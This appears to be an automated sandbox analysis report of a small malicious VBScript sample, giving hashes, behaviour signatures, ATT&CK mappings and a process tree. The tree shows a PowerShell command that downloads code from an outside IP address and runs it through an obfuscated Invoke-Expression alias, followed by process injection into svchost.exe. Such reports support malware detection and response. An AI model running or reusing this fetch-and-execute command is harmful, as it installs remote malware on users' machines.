4f75b70ef696ec050a6ee5f6be7bd7be445526aa5a3b23f5340ecc097281ca11

Analysis

max time kernel
149s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
07/10/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
agent_20261006_184902.vbs
Size 175B
Sample261007-wllcksdx3j
SHA256 4f75b70ef696ec050a6ee5f6be7bd7be445526aa5a3b23f5340ecc097281ca11
MD5 bccab38d9c9a08297941cbad5da9d539
SHA1 4c8a93abafc9fe108161960412f2bfeef69ea452
SHA512 9c375f584fe74fe01697c1a65bca2a26655e81d3b12a8fdd4dcb5e845b32da5f8a36f160df1cb3fb65d08551e511ec4b55fce7b1685ef4efd3aa49eac29e37f9
TLSH
T16CC08097F401887D1E4FFD5981655C0D8992516514A545F27F68ED48555E0545DB0201
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1144	powershell.exe
5	1144	powershell.exe
7	1144	powershell.exe

Executes dropped EXE 10 IoCs

pid	Process
2844	svchost.exe
3064	svchost.exe
5492	svchost.exe
4076	svchost.exe
3680	svchost.exe
3968	svchost.exe
2084	svchost.exe
760	svchost.exe
1468	svchost.exe
3968	svchost.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5420	WScript.exe

Suspicious use of SetThreadContext 10 IoCs

description	pid	Process	procid_target
PID 1144 set thread context of 2844	1144	powershell.exe	95
PID 1144 set thread context of 3064	1144	powershell.exe	99
PID 1144 set thread context of 5492	1144	powershell.exe	103
PID 1144 set thread context of 4076	1144	powershell.exe	106
PID 1144 set thread context of 3680	1144	powershell.exe	109
PID 1144 set thread context of 3968	1144	powershell.exe	112
PID 1144 set thread context of 2084	1144	powershell.exe	115
PID 1144 set thread context of 760	1144	powershell.exe	118
PID 1144 set thread context of 1468	1144	powershell.exe	121
PID 1144 set thread context of 3968	1144	powershell.exe	124

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe
1144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1144	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 5420 wrote to memory of 1144	5420	WScript.exe	88
PID 1144 wrote to memory of 936	1144	powershell.exe	91
PID 936 wrote to memory of 620	936	csc.exe	92
PID 1144 wrote to memory of 5592	1144	powershell.exe	93
PID 5592 wrote to memory of 5172	5592	csc.exe	94
PID 1144 wrote to memory of 2844	1144	powershell.exe	95
PID 1144 wrote to memory of 3064	1144	powershell.exe	99
PID 1144 wrote to memory of 5492	1144	powershell.exe	103
PID 1144 wrote to memory of 4076	1144	powershell.exe	106
PID 1144 wrote to memory of 3680	1144	powershell.exe	109
PID 1144 wrote to memory of 3968	1144	powershell.exe	112
PID 1144 wrote to memory of 2084	1144	powershell.exe	115
PID 1144 wrote to memory of 760	1144	powershell.exe	118
PID 1144 wrote to memory of 1468	1144	powershell.exe	121
PID 1144 wrote to memory of 3968	1144	powershell.exe	124

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\agent_20261006_184902.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "irm http://23.132.164.37:8080/829ed81c-30b7-4968-8336-47d09423f4c6 | & (gal i?x)"
  2⤵
  - Badlisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1144
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qthwqg5v\qthwqg5v.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:936
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6A68.tmp" "c:\Users\Admin\AppData\Local\Temp\qthwqg5v\CSCDD3E8B1C7E4B2C9BF452E05014EAD3.TMP"
      4⤵
      PID:620
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\famgc1ql\famgc1ql.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5592
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6D08.tmp" "c:\Users\Admin\AppData\Local\Temp\famgc1ql\CSCDE49B389A8D54EE3904E4094B2153650.TMP"
      4⤵
      PID:5172
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:2844
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:3064
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:5492
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:4076
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:3680
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:3968
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:2084
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:760
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:1468
- - C:\Windows\System32\svchost.exe
    "C:\Windows\System32\svchost.exe"
    3⤵
    - Executes dropped EXE
    PID:3968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES6A68.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6A68.tmp
Size 1KB
SHA256 d35d4ff063dfd344953c689463ef1966d746b7409f6393271a998f9f80bafec8
MD5 abe0bf0dcc893a7dbfaf3152ef104b9e
SHA1 0fd6b911077350edf6c6bdd00f71bfa726a768b7
SHA512 b728a4f258b4b57d7aeb2652fc3817608cb2baabf03ff9488a6663ee871963af909ba1e000b19c47680ddf075f38b4802983d310c5dadc7b5eafb37b6b7b2303
TLSH
T15321AF0583E8871FF0735B3269F6A72F9278FD54DFA1975A9540422C2C41508EEE0B77
MD5 SHA1 SHA512 TLSH

Submit Download

RES6D08.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES6D08.tmp
Size 1KB
SHA256 17db0113b69940198c271a296efded5f61a6416ec18e07ef596c31e33f6799fb
MD5 c2032bb51c2dbae769105a78ca7f2064
SHA1 c56da45f3fb697dac0a1ff49caa718b772bdf452
SHA512 4825dabf6389bb882e5de4a41cae9f9271e3852cc448f0e1e814fcd9d74d9553fa235e39aefd7d926c89c62360a12129d79e0f5b3e0333f237cd7abcf7c30e88
TLSH
T11E21CC0583E8471FF0734B3269F5172F9939FD54EFA2935B8441422C2C52504EEA0F72
MD5 SHA1 SHA512 TLSH

Submit Download

famgc1ql.dll

Path C:\Users\Admin\AppData\Local\Temp\famgc1ql\famgc1ql.dll
Size 7KB
SHA256 d07c100cb8f2e6df3d0f06657f157424ebe136da038f671687e9cb5af4d61656
MD5 d10db03244c6c103bbdfe055d6c692b3
SHA1 4b84b523b143f378374dc588637a9c30792d78e4
SHA512 283e83a67e9a03f9bcc30717ab4a69730d688c223d290353594a32c2bd8743ca182095f551e8ffa844c0c7b33e2220245a76569fe6cc9d22f0e8e4aada2a5d16
SSDEEP 96:0guYgZxIVIkaxN3rISmCUXeYCaMNdT4XELaQAK:0guYgEda/3yXhCrvFay
TLSH
T1F7F1095ECB8CC275E95E0B3AA4F306016BB4C4448F338A5B09EC91073E67B991B633D1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qthwqg5v.dll

Path C:\Users\Admin\AppData\Local\Temp\qthwqg5v\qthwqg5v.dll
Size 3KB
SHA256 dc14aee8e1d67830dd8ff5a14b50da56876c349a88e876d5ab4e4c04ea45825d
MD5 c0a1ff0a8dd18af8ee5c2f44cddd7f94
SHA1 6650470f361b2b607f85cb2ed1196f992724702e
SHA512 0b1ecd466177617c85eee29625b969a564c3203a4c1f306016ddcebb9c3d3c059f083e4acd10847143b5ed3585d29aad4d6ed665b17975effd01cd93c12da4e3
TLSH
T1A151DB0657E8862BF4770B31AEF3472637B8FC149BB3635E18804218BCA17548D31BB1
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDE49B389A8D54EE3904E4094B2153650.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\famgc1ql\CSCDE49B389A8D54EE3904E4094B2153650.TMP
Size 652B
SHA256 b59ac3a8319e1d200935f966f2c01cf03b3562d681d106fa0d9509dbde738715
MD5 81e94cdafc5c4b96e71d4263eec32117
SHA1 ae22fee7836d122844e99f9fa9c9e403498ce4e8
SHA512 9720b1e6be60f16b339e42ad2bd0e833f2691a3f2cdb447eff865f8681e56bf15813f6ce3634eb5d7aed44d5ad529096b71ad077ee30b8be2afa935c910f4e95
TLSH
T18DF05E0963F8420EF0F34B31BEF6436399A9BD65DE3293ED2440031928649108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

famgc1ql.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\famgc1ql\famgc1ql.0.cs
Size 10KB
SHA256 e098b4d074052a8cfb3a15706dfc9827e9b0200e0163b68fa4760d60ff032ab8
MD5 def95e06ed7e895f86ad3f65c3d9459a
SHA1 73c4ad4388d69cfd24b32b8f82aac11a23a5f122
SHA512 c3c89a45ce0d1534a790e3d61d70c8482bbc669739b979ab924ce97c1d7f6653e0c2f819e2894bae1489ce66583d6142a90d53376c83367146b3faa8f2952be7
SSDEEP 192:4Gd1M4ocsoEoF6MUQB7jwhLCOVIMqorErlQgkInWwAXJ2:4Gd1JNsvYlGwAXJ2
TLSH
T15E2240E56725922A8C76211D9ECEA05DF60352331FBA16167ABC87312F3A068F27770D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

famgc1ql.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\famgc1ql\famgc1ql.cmdline
Size 369B
SHA256 703b6f8244bb2c9c9dc1094d211128e0661b537a020d9c577cb62569fe8bde89
MD5 ccff02034abf6ffc46099ce15802f05b
SHA1 b87677493c62c4df091ddaa452fa23508ff5b551
SHA512 2f8d9c8711f595be150da407b2a51636ffc5df0ba7daa0d0e8b2b9a5e8c6f4f5e6eac248c7d4b8813d55268afdf7f552fcb794107136e66f531b1fffccd233e6
TLSH
T110E0C62AC346CE7D05EE200B327AC4ACC27727832B863F8CA0408C2DE137000ABF2781
MD5 SHA1 SHA512 TLSH

Submit Download

CSCDD3E8B1C7E4B2C9BF452E05014EAD3.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\qthwqg5v\CSCDD3E8B1C7E4B2C9BF452E05014EAD3.TMP
Size 652B
SHA256 b4dafd3c25869599e17aa3f268398cee18bdc9f847dd8ab8df8aa09a886ee9a8
MD5 96e7b274181ef7ba2f38675bb27ac91d
SHA1 9d6165cc1c2e42dbee97cab03690ebadf95bc613
SHA512 4bc9fc65917baa64a0726807f02bddbc9aed3179038b43538898c24ec0344a3688e1671aed833a91d71208403ff4eae3eb3630ff00304ad295e05b6892cd6ca6
TLSH
T11EF03A0963F8420EF0F35B30B9F6936391A8FD64DE3293ED1440031D2864510C962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

qthwqg5v.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\qthwqg5v\qthwqg5v.0.cs
Size 295B
SHA256 e79f623eda1fb8bfb3ceb441dadf01a25b45f37f19f39ff256c77d52f8b454e8
MD5 4e3d809d9542dd5a09b58080bdc7fd32
SHA1 dccce4d18ce5b086d3c6a5935736cb2acba0df08
SHA512 8bb09adc1e7a0f9620704dd757bbdf21e114639012660612955e657f42fe431e499618f6b9fbbc30d67cb5415900cbb865412be033797a216fe88f916480fc6e
TLSH
T18BE0CD1C6AF29AB0806348154C47D5FD761B51363179160576F50320EF4B0094139559
MD5 SHA1 SHA512 TLSH

Submit Download

qthwqg5v.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\qthwqg5v\qthwqg5v.cmdline
Size 369B
SHA256 7dd51dbaf4252eaa295f20b411c451279bbe9656adeaa0ab4407024a288ab854
MD5 3e343b4591fd5034de8d0614838b61b4
SHA1 bdf79e48b7500e2dff399b2ed1774f114ff092fb
SHA512 95055e5ff6ff5ed337b5211a4cd9f9fd199572e965bd961cda498e12d5c15bef3e4878217fc96f40c8bee5561b9b0b6ba5e63c3e53b5b686c0133a1dbb18d432
TLSH
T140E0202B5296CB7D26DD11172169C9ECD3B207472E81BF84B150445EE11B40867D1765
MD5 SHA1 SHA512 TLSH

Submit Download

memory/760-1273-0x00007FF6D0E00000-0x00007FF6D0E0C000-memory.dmp

Download

memory/936-25-0x0000019694390000-0x0000019694D34000-memory.dmp

Download

memory/1144-661-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-350-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-27-0x0000020C46920000-0x0000020C46928000-memory.dmp

Download

memory/1144-10-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-9-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-353-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-8-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-7-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-6-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-1429-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-5-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-41-0x0000020C46930000-0x0000020C46938000-memory.dmp

Download

memory/1144-4-0x0000020C46880000-0x0000020C468A2000-memory.dmp

Download

memory/1144-1-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-43-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-1276-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-0-0x0000020C2E2EC000-0x0000020C2E2ED000-memory.dmp

Download

memory/1144-198-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-11-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-1122-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-12-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-969-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-506-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-815-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-659-0x0000020C2DB50000-0x0000020C2E4F4000-memory.dmp

Download

memory/1144-13-0x0000020C46E90000-0x0000020C47052000-memory.dmp

Download

memory/1468-1427-0x00007FF7611D0000-0x00007FF7611DC000-memory.dmp

Download

memory/2084-1120-0x00007FF68E4B0000-0x00007FF68E4BC000-memory.dmp

Download

memory/2844-195-0x00007FF60C3A0000-0x00007FF60C3AC000-memory.dmp

Download

memory/2844-46-0x0000017CE8910000-0x0000017CE898B000-memory.dmp

Download

memory/3064-349-0x00007FF716960000-0x00007FF71696C000-memory.dmp

Download

memory/3680-812-0x00007FF74FCE0000-0x00007FF74FCEC000-memory.dmp

Download

memory/3968-966-0x00007FF73A010000-0x00007FF73A01C000-memory.dmp

Download

memory/3968-1580-0x00007FF6206D0000-0x00007FF6206DC000-memory.dmp

Download

memory/4076-657-0x00007FF7E99E0000-0x00007FF7E99EC000-memory.dmp

Download

memory/5492-504-0x00007FF644200000-0x00007FF64420C000-memory.dmp

Download

memory/5592-39-0x000002C86DF00000-0x000002C86E8A4000-memory.dmp

Download